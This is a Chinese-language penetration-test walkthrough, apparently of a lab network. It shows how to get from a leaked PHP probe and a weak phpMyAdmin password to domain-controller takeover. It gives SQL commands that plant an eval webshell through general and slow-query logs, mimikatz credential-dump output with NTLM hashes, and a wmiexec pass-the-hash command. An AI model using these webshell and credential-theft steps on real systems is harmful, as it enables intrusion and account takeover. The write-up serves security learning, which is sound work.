打点
目标为 10.10.0.101 访问 http://10.10.0.101/ 页面发现是个探针没有别的东西,但是泄露了很多信息。拿去扫一下目录,扫出来一个 phpmyadmin。
打开 phpmyadmin 页面,尝试弱口令和历史 nday 利用,成功利用了弱口令进入后台。那么就考虑如何写 shell 了,写 shell 需要知道 web 绝对路径,前面的 php 探针泄露了 web 的绝对路径。
phpmyadmin 写 shell 有三种方式:
1.直接写入 shell 文件
--对web目录需要有写权限能够使用单引号(root)
--知道网站绝对路径(phpinfo/php探针/通过报错等)
--secure_file_priv没有具体值
值 | 含义 |
---|---|
NULL | 表示不允许导入或导出 |
/tmp | 表示只允许在 /tmp 目录导入导出 |
空 | 表示不限制目录 |
2.日志文件写 shell
--root权限
--知道网站绝对路径
点击查看代码
//general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell。(如果 CURD 量过大建议不要使用这个方法。数据库业务大的网站,几秒钟全局查询日志巨大,访问 shell 文件就会提示 500 错误)
SHOW VARIABLES LIKE '%general%'; 查看配置默认是关闭状态
set global general_log = on; 开启general_log模式
set global general_log_file='日志路径/shell02.php'; 修改日志目录为shell地址
select "<?php @eval($_POST['123']);?>" 写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中
--root权限
--知道网站绝对路径
show variables like '%slow_query_log%'; 查看慢查询日志开启情况
set global slow_query_log=on; 开启慢查询日志
set global slow_query_log_file='绝对路径/shell03.php'; 修改日志文件存储的绝对路径
select "<?php @eval($_POST['123']);?>" or sleep(10); 向日志文件中写入shell
#使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';
我这里使用了慢日志 getshell。
内网渗透
上来后看看是做基本的信息收集,有无杀软、是否域环境、当前权限、有无账号密码本等等...。这里发现是存在域环境的并且是个域管理员权限的用户,直接上线 C2 来进行后续攻击。
搭建隧道突破隔离进入内网环境,定位一下域控直接横向到域控上面,这里的内网环境及其复杂,简直和搭了蜜罐一样基本上是扫什么开什么。
找到内网网卡,这个 dns 大概率就是域控。尝试访问一下当前内网 ip 是否可以访问 web 页面来确保隧道没有问题。
抓取出当前用户的 hash 来进行后续的横向移动。
C:\phpStudy\tmp>mimikatz.x64.exe privilege::Debug sekurlsa::logonpasswords exit
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 598479 (00000000:000921cf)
Session : Interactive from 1
User Name : Administrator
Domain : GOD
Logon Server : OWA
Logon Time : 2024/5/5 20:39:47
SID : S-1-5-21-2952760202-1353902439-2381784089-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : bbaeaaf651609b9337bf477e3ed39fca
* NTLM : 295b75bdc039b5c4e06f05b277b9e9de
* SHA1 : 778c92793f80662abb7d8f7dad6547e9c1869c71
使用 wmiexec 来横向 wmiexec.exe -hashes :295b75bdc039b5c4e06f05b277b9e9de god/administrator@192.168.52.138
直接拿下域控。然后可以使用 put 和 get 来下载和上传文件。